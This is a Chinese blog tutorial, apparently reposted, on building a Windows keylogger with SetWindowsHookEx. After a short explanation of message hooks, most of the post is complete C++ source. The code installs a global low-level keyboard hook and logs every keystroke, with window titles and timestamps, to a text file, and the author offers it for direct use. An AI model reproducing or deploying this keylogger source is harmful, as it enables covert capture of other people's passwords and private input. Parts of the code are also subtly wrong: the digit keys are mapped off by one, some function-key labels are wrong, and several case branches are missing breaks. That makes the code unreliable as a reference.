手把手教你用SetWindowsHookEx做一个键盘记录器
Posted CodeBowl
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了手把手教你用SetWindowsHookEx做一个键盘记录器相关的知识,希望对你有一定的参考价值。
“无忌,我教你的还记得多少?”
“回太师傅,我只记得一大半。”
“那,现在呢?”
“已经剩下一小半了。”
“那,现在呢?”
“我已经把所有的全忘记了!”
“好,你可以上了!”
羡慕张无忌,忘记了武功,打败了敌人;而我自己,忘记了武功,菜哭了自己。
已经一年多没有接触这个了,忘得干干净净,幸亏肌肉记忆还在,学起来十分亲切,废话不多说,进入正题。
SetWindowsHookEx制作键盘记录器
前言
Hook是程序设计中最为灵活多变的技巧之一,在windows下,Hook有两种含义:
1、系统提供的消息Hook机制,也就是我们今天要实现的hook,在后面会讲到。
2、自定义的Hook编程技巧
自定义的Hook编程技巧则是基于特定系统结构、文件结构、汇编语言的一种高级技术,运用自如后犹如手握屠龙刀倚天剑。
操作环境:
visual studio 2015
Windows 10
消息Hook
Windows消息hook主要通过SetWindowsHookEx去下钩,通过UnhookWindowsHookEx()去断钩,所以我们接下来主要学会用这俩个函数。
我们之所以可以进行消息Hook,是因为Windows的消息机制;简单来说:
Windows系统是建立在事件驱动的机制上的,每一个事件就是一个消息,每个运行中的程序,也就是所谓的进程,都维护者一个或多个消息队列,消息队列的个数取决于进程内包含的线程的个数。由于一个进程至少要拥有一个线程,所以进程至少要有一个消息队列。虽然Windows系统的消息分派是以线程为单位的,但并不是所有的线程都有消息队列,一个新创建的线程是没有消息队列的,只有当线程第一次调用GDI或USER32库函数的时候Windows才为线程创建消息队列。消息最终由属于线程的窗口来处理,普通的应用程序只能获取本线程的消息队列中的消息,也就是只能获得系统分派的、属于本线程的消息,换句话说,一个线程在运行过程中是不知道其它线程发生了什么事情的。但是有一类特殊的程序却可以访问其他线程的消息队列,那就是钩子程序。
(Windows消息机制还是十分重要的,这里我不多赘述,了解这些内容,足够咱们接下来的学习了,想要了解更多,建议看这篇文章https://zhuanlan.zhihu.com/p/42992978)
编写钩子程序是Windows系统提供给用户的一种对Windows运行过程进行干预的机制,通过钩子程序,Windows将内部流动的消息暴露给用户,使用户能够在消息被窗口管理器分派之前对其进行特殊的处理,比如在调试程序的时候跟踪消息流程。但是,任何事情都有其两面性,一些密码窃取工具就是利用系统键盘钩子截获其他程序的键盘消息,从而获取用户输入的密码,可见非法的钩子程序对计算机信息安全具有极大的危害性。
(那么我们今天就通过消息hook实现一个简单的键盘记录器,嘿嘿,知己知彼,百战不殆)!
消息Hook流程
第一步:安装钩子
最后一步:卸载钩子
中间步骤:我们要实现回调函数,实现我们自己的操作。例如获得键盘输入信息,并将其保存到txt文件中
通过setWindowsHookEx()实现键盘记录器
实现原理
当按下键盘,产生一个消息,按键消息加入到系统消息队列 操作系统从消息队列中取出消息,添加到相应的程序的消息队列中 ;
应用程序使用消息Hook从自身的消息队列中取出消息WM_KEYDOWN,调用消息处理函数。 我们可以在系统消息队列之间添加消息钩子,从而使得在系统消息队列消息发给应用程序之前捕获到消息。
可以多次添加钩子,从而形成一个钩子链,可以依次调用函数。
安装钩子
SetWindowsHookEx
WINUSERAPI
HHOOK
WINAPI
SetWindowsHookEx(
//钩子类型
_In_ int idHook,
//回调函数地址
_In_ HOOKPROC lpfn,
//实例句柄(包含有钩子函数)
_In_opt_ HINSTANCE hmod,
//线程ID,欲勾住的线程(为0则不指定,全局)
_In_ DWORD dwThreadId);
能设置的hook类型如下:
宏值 | 含义 |
---|---|
WH_MSGFILTER | 截获用户与控件交互的消息 |
WH_KEYBOARD | 截获键盘消息 |
WH_GETMESSAGE | 截获从消息队列送出的消息 |
WH_CBT | 截获系统基本消息,激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件 |
WH_MOUSE | 截获鼠标消息 |
WH_CALLWNDPROCRET | 截获目标窗口处理完毕的消息 |
我们这里hook键盘消息:
SetWindowsHookEx(
WH_KEYBOARD_LL, // low-level keyboard input events
HookProcedure, // 回调函数地址
GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure
NULL //线程ID,欲勾住的线程(为0则不指定,全局)
);
使用API函数SetWindowsHookEx()把一个应用程序定义的钩子子程安装到钩子链表中。SetWindowsHookEx函数总是在Hook链的开头安装Hook子程。当指定类型的Hook监视的事件发生时,系统就调用与这个Hook关联的Hook链的开头的Hook子程。每一个Hook链中的Hook子程都决定是否把这个事件传递到下一个Hook子程。Hook子程传递事件到下一个Hook子程需要调用CallNextHookEx函数。
为钩子链中的下一个子程序设置钩子。在钩子子程中调用得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个 SDK中的API函数CallNextHookEx来传递它,以执行钩子链表所指的下一个钩子子程。
WINUSERAPI
LRESULT
WINAPI
CallNextHookEx(
//钩子句柄,由SetWindowsHookEx()函数返回。
_In_opt_ HHOOK hhk,
//钩子事件代码,回调函数的钩子过程的事件代码
_In_ int nCode,
//传给钩子子程序的wParam值
_In_ WPARAM wParam,
//传给钩子子程序的lParam值
_In_ LPARAM lParam);
卸载钩子
卸载钩子API,钩子在使用完之后需要用UnhookWindowsHookEx()卸载,否则会造成麻烦。
WINUSERAPI
BOOL
WINAPI
UnhookWindowsHookEx(
//要删除的钩子的句柄。这个参数是上一个函数SetWindowsHookEx的返回值.
_In_ HHOOK hhk);
键盘记录
主要的功能我们通过SetwindowsHookEx()参数中的回调函数HookProcedure()来实现。
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)
在里面我们会实现获得256个虚拟键的状态,并将其转换为真实字符
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fwkl4X3e-1631233055133)(C:\\Users\\11073\\AppData\\Roaming\\Typora\\typora-user-images\\image-20210908224511747.png)]
输出:这里我们写了俩种方式
1.输出到控制台
2.输出到文本,并保存
一些逻辑
获得当前窗口和当前时间;
将记录的键盘消息保存到文件中;
效果
x86效果:
x64位
保存在txt文件中
Code
github下载,可直接使用,或修改测试
链接: windows hook.
// 使用SetWindowsHookEx实现键盘记录器
#include <Windows.h>
#include <string>
#include <fstream>
#include <sstream>
#include <iostream>
#include "键盘消息Hook.h"
#include "vld.h"
// 全局键盘Hook句柄
HHOOK kKeyboardHook;
// Shift Key
BOOL bShift = FALSE;
// 存放键盘消息
std::string fileName = "D:\\\\test.txt";
// Windows Title Text -260 char-
char cWindow[1000];
// NULL is ok
HWND lastWindow = NULL;
int main()
{
std::cout << "start !" << std::endl;
// 设置键盘钩子
if (!HookKeyBoard())
{
std::cout << "Hook KeyBoard Failed!" << std::endl;
}
unhookKeyboard();//释放hook
}
/********************************************************
函数作用:设置键盘钩子
返回值:是否hook成功
*********************************************************/
BOOL HookKeyBoard()
{
BOOL bRet = FALSE;
kKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, // low-level keyboard input events
HookProcedure, // 回调函数地址
GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure
NULL //线程ID,欲勾住的线程(为0则不指定,全局)
);
if (!kKeyboardHook)
{
// 如果SetWindowsHookEx 失败
std::cout << "[!] Failed to get handle from SetWindowsHookEx()" << std::endl;
}
else
{
std::cout << "[*] KeyCapture handle ready" << std::endl;
MSG Msg{}; // 统一初始化
while (GetMessage(&Msg, NULL, 0, 0) > 0)
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
bRet = TRUE;
}
return bRet;
}
/********************************************************
函数作用:钩子回调
返回值:是否hook成功
*********************************************************/
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)
{
std::ofstream myfile(fileName, std::ios::out | std::ios::app);
BOOL caps = FALSE; // 默认大写关闭
SHORT capsShort = GetKeyState(VK_CAPITAL);
std::string outPut;
std::stringstream ssTemp; // string 字符流
if (capsShort > 0)
{
// 如果大于0,则大写键按下,说明开启大写;反之小写
caps = TRUE;
}
/*
WH_KEYBOARD_LL uses the LowLevelKeyboardProc Call Back
LINK = https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
*/
// LowLevelKeyboardProc Structure
KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
// wParam和lParam参数包含关于键盘消息的信息。
if (nCode == HC_ACTION)
{
// Messsage data is ready for pickup
// Check for SHIFT key
if (p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT)
{
// WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
if (wParam == WM_KEYDOWN)
{
bShift = TRUE;
}
if (wParam == WM_KEYUP)
{
bShift = FALSE;
}
else
{
bShift = FALSE;
}
}
// Start Loging keys now we are setup
if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
{
// Retrieves a handle to the foreground window (the window with which the user is currently working).
HWND currentWindow = GetForegroundWindow(); // 返回前台窗口,获得当前窗口
// Check if we need to write new window output
if (currentWindow != lastWindow)
{
SYSTEMTIME t{};
GetLocalTime(&t); // 获得当前系统时间
int day = t.wDay;
int month = t.wMonth;
int year = t.wYear;
int hour = t.wHour;
int min = t.wMinute;
int sec = t.wSecond;
int dayName = t.wDayOfWeek;
// Build our output header
ssTemp << "\\n\\n[+] " << Dayofweek(dayName) << " - " << day << "/" << month << "/" << year << " ";
ssTemp << hour << ":" << min << ":" << sec;
outPut.append(ssTemp.str());
ssTemp.clear();
// GetWindowTextACCC
int c = GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
std::cout << c;
ssTemp << " - Current Window: " << cWindow << "\\n\\n";
//outPut.append(temp.str());
std::cout << ssTemp.str() << std::endl;
myfile << ssTemp.str();
// Setup for next CallBackCC
lastWindow = currentWindow;
}
// Now capture keys
if (p->vkCode)
{
ssTemp.clear();
ssTemp << HookCode(p->vkCode, caps, bShift);
std::cout << ssTemp.str();
myfile << ssTemp.str();
}
// Final output logic
}
}
// hook procedure must pass the message *Always*
myfile.close();
return CallNextHookEx(NULL, nCode, wParam, lParam); // hook链
}
/********************************************************
函数作用:时间
返回值:返回时间
*********************************************************/
std::string Dayofweek(int code)
{
// Return Day of the year in text
std::string name;
switch (code)
{
case 0: name = "[SUNDAY]"; break;
case 1: name = "[MONDAY]"; break;
case 2: name = "[TUESDAY]"; break;
case 3: name = "[WENSDAY]"; break;
case 4: name = "[THURSDAY]"; break;
case 5: name = "[FRIDAY]"; break;
case 6: name = "[SATURDAY]"; break;
default:
name = "[UNKOWN]";
}
return name;
}
/********************************************************
函数作用:将获得键盘消息转换为字符
参数说明: DWORD code 获得的键盘消息
BOOL caps 是否开启大写
BOOL shift 是否按下shift
返回值:转换的字符
*********************************************************/
std::string HookCode(DWORD code, BOOL caps, BOOL shift)
{
std::string key;
switch (code) // SWITCH ON INT
{
// Char keys for ASCI
// No VM Def in header
case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break;
case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break;
case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break;
case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break;
case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break;
case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break;
case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break;
case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break;
case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break;
case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break;
case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break;
case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break;
case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break;
case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break;
case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break;
case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break;
case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break;
case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break;
case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break;
case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break;
case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break;
case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break;
case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break;
case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break;
case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break;
case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break;
// Sleep Key
case VK_SLEEP: key = "[SLEEP]"; break;
// Num Keyboard
case VK_NUMPAD0: key = "0"; break;
case VK_NUMPAD1: key = "1"; break;
case VK_NUMPAD2: key = "2"; break;
case VK_NUMPAD3: key = "3"; break;
case VK_NUMPAD4: key = "4"; break;
case VK_NUMPAD5: key = "5"; break;
case VK_NUMPAD6: key = "6"; break;
case VK_NUMPAD7: key = "7"; break;
case VK_NUMPAD8: key = "8"; break;
case VK_NUMPAD9: key = "9"; break;
case VK_MULTIPLY: key = "*"; break;
case VK_ADD: key = "+"; break;
case VK_SEPARATOR: key = "-"; break;
case VK_SUBTRACT: key = "-"; break;
case VK_DECIMAL: key = "."; break;
case VK_DIVIDE: key = "/"; break;
// Function Keys
case VK_F1: key = "[F1]"; break;
case VK_F2: key = "[F2]"; break;
case VK_F3: key = "[F3]"; break;
case VK_F4: key = "[F4]"; break;
case VK_F5: key = "[F5]"; break;
case VK_F6: key = "[F6]"; break;
case VK_F7: key = "[F7]"; break;
case VK_F8: key = "[F8]"; break;
case VK_F9: key = "[F9]"; break;
case VK_F10: key = "[F10]"; break;
case VK_F11: key = "[F11]"; break;
case VK_F12: key = "[F12]"; break;
case VK_F13: key = "[F13]"; break;
case VK_F14: key = "[F14]"; break;
case VK_F15: key = "[F15]"; break;
case VK_F16: key = "[F16]"; break;
case VK_F17: key = "[F17]"; break;
case VK_F18: key = "[F18]"; break;
case VK_F19: key = "[F19]"; break;
case VK_F20: key = "[F20]"; break;
case VK_F21: key = "[F22]"; break;
case VK_F22: key = "[F23]"; break;
case VK_F23: key = "[F24]"; break;
case VK_F24: key = "[F25]"; break;
// Keys
case VK_NUMLOCK: key = "[NUM-LOCK]"; break;
case VK_SCROLL: key = "[SCROLL-LOCK]"; break;
case VK_BACK: key = "[BACK]"; break;
case VK_TAB: key = "[TAB]"; break;
case VK_CLEAR: key = "[CLEAR]"; break;
case VK_RETURN: key = "[ENTER]"; break;
case VK_SHIFT: key = "[SHIFT]"; break;
case VK_CONTROL: key = "[CTRL]"; break;
case VK_MENU: key = "[ALT]"; break;
case VK_PAUSE: key = "[PAUSE]"; break;
case VK_CAPITAL: key = "[CAP-LOCK]"; break;
case VK_ESCAPE: key = "[ESC]"; break;
case VK_SPACE: key = "[SPACE]"; break;
case VK_PRIOR: key = "[PAGEUP]"; break;
case VK_NEXT: key = "[PAGEDOWN]"; break;
case VK_END: key = "[END]"; break;
case VK_HOME: key = "[HOME]"; break;
case VK_LEFT: key = "[LEFT]"; break;
case VK_UP: key = "[UP]"; break;
case VK_RIGHT: key = "[RIGHT]"; break;
case VK_DOWN: key = "[DOWN]"; break;
case VK_SELECT: key = "[SELECT]"; break;
case VK_PRINT: key = "[PRINT]"; break;
case VK_SNAPSHOT: key = "[PRTSCRN]"; break;
case VK_INSERT: key = "[INS]"; break;
case VK_DELETE: key = "[DEL]"; break;
case VK_HELP: key = "[HELP]"; break;
// Number Keys with shift
case 0x30: key = shift ? "!" : "1"; break;
case 0x31: key = shift ? "@" : "2"; break;
case 0x32: key = shift ? "#" : "3"; break;
case 0x33: key = shift ? "$" : "4"; break;
case 0x34: key = shift ? "%" : "5"; break;
case 0x35: key = shift ? "^" : "6"; break;
case 0x36: key = shift ? "&" : "7"; break;
case 0x37: key = shift ? "*" : "8"; break;
case 0x38: key = shift ? "(" : "9"; break;
case 0x39: key = shift ? ")" : "0"; break;
// Windows Keys
case VK_LWIN: key = "[WIN]"; break;
case VK_RWIN: key = "[WIN]"; break;
case VK_LSHIFT: key = "[SHIFT]"; break;
case VK_RSHIFT: key = "[SHIFT]"; break;
case VK_LCONTROL: key = "[CTRL]"; break;
case VK_RCONTROL: key = "[CTRL]"; break;
// OEM Keys with shift
case VK_OEM_1: key = shift ? ":" : ";"; break;
case VK_OEM_PLUS: key = shift ? "+" : "="; break;
case VK_OEM_COMMA: key = shift ? "<" : ","; break;
case VK_OEM_MINUS: key = shift ? "_" : "-"; break;
case VK_OEM_PERIOD: key = shift ? ">" : "."; break;
case VK_OEM_2: key = shift ? "?" : "/"; break;
case VK_OEM_3: key = shift ? "~" : "`"; break;
case VK_OEM_4: key = shift ? "{" : "["; break;
case VK_OEM_5: key = shift ? "\\\\" : "|"; break;
case VK_OEM_6: key = shift ? "}" : "]"; break;
case VK_OEM_7: key = shift ? "'" : "'"; break; //TODO: Escape this char: "
// Action Keys
case VK_PLAY: key = "[PLAY]";
case VK_ZOOM: key = "[ZOOM]";
case VK_OEM_CLEAR: key = "[CLEAR]";
case VK_CANCEL: key = "[CTRL-C]";
default: key = "[UNK-KEY]";
break;
}
return key;
}
/********************************************************
函数作用:释放键盘钩子
返回值: void
*********************************************************/
void unhookKeyboard()
{
if (kKeyboardHook != 0)
{
UnhookWindowsHookEx(kKeyboardHook);
}
exit(0);
}
参考资料
【windows核心编程】系统消息与自定义钩子(Hook)使用
HOOK教程一_使用SetWindowsHookEx进行Windows消息HOOK
总结
之后将继续更新hook系列。
以上是关于手把手教你用SetWindowsHookEx做一个键盘记录器的主要内容,如果未能解决你的问题,请参考以下文章